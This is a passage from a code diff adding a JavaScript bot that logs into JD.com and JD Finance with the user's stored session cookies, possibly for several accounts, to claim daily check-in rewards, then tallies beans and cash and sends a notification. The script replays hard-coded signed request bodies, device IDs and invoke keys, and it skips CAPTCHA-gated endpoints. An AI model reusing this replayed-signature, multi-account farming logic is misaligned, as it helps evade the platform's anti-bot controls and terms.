'4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + // await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + // await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + // await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + // await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + // await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + // await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + // await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + // await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + sendNotify("京东多合一签到SCF:",notification) + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + return console.log(`\n${title} >> 可能需要拼图验证, 跳过签到 ⚠️`); + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=ztmFUCxcPMNyUq0P`, + headers: { + Cookie: KEY + } + }, function(error, response, data) { + resolve() + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=ztmFUCxcPMNyUq0P', + headers: { + lkt: '1629984131120', + lks: 'd7db92cf40ad5a8d54b9da2b561c5f84', + Cookie: KEY + }, + body: `turnTableId=${tid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if 